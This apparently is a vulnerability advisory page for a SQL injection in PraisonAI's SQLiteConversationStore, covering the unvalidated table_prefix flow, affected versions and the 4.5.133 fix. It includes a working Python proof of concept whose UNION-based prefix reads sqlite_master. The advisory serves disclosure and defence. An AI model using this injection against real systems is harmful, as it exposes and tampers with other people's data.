PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queriesGHSA-x783-xp3g-mqhp
Fix: MervinPraison/PraisonAI@0accebbGHSA-x783-xp3g-mqhp is a SQL Injection vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-x783-xp3g-mqhp.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The table_prefix configuration value is directly used to construct SQL table identifiers without validation.
If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.
Details
This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:
sessions_table = f"{table_prefix}sessions"
This value is then used in queries such as:
SELECT * FROM {self.sessions_table}
Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
-
Source: config.py (
from_yaml/from_dict) accepts external configuration input -
Propagation: factory.py (
create_stores_from_config) passesconversation_optionswithout validation -
Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from
table_prefix
As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.
PoC
1. Exploit Code
The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix
This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""
import os
import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession
def run_poc() -> int:
fd, db_path = tempfile.mkstemp(suffix=".db")
os.close(fd)
try:
print(f"[+] temp db: {db_path}")
# 1) Create normal schema and insert one legitimate session.
normal = SQLiteConversationStore(
path=db_path,
table_prefix="praison_",
auto_create_tables=True,
)
normal.create_session(
ConversationSession(
session_id="legit-session",
user_id="user1",
agent_id="agent1",
name="Legit Session",
state={},
metadata={},
created_at=123.0,
updated_at=123.0,
)
)
normal_rows = normal.list_sessions(limit=10, offset=0)
print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation)
injected_prefix = (
"praison_sessions WHERE 1=0 "
"UNION SELECT "
"name as session_id, "
"NULL as user_id, "
"NULL as agent_id, "
"NULL as name, "
"NULL as state, "
"NULL as metadata, "
"0 as created_at, "
"0 as updated_at "
"FROM sqlite_master -- "
)
injected = SQLiteConversationStore(
path=db_path,
table_prefix=injected_prefix,
auto_create_tables=False,
)
injected_rows = injected.list_sessions(limit=10, offset=0)
injected_ids = [row.session_id for row in injected_rows]
print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")
suspicious = any(
x in injected_ids
for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
)
if suspicious or len(injected_rows) > len(normal_rows):
print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
return 0
print("[!] PoC inconclusive: no clear injected rows observed")
return 2
finally:
try:
os.remove(db_path)
print("[+] temp db removed")
except OSError:
pass
if __name__ == "__main__":
raise SystemExit(run_poc())
2. Expected Output
The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.
3. Impact
- SQL Identifier Injection
- Query result manipulation
- Internal schema disclosure
Exploitable when untrusted input can influence configuration.
Reference
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.133pip install --upgrade 'praisonai==4.5.133' |
Affected Products
praisonaipraisonDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.133 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x783-xp3g-mqhp is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is GHSA-x783-xp3g-mqhp in your dependencies?
Find it across PyPI, including transitive dependencies.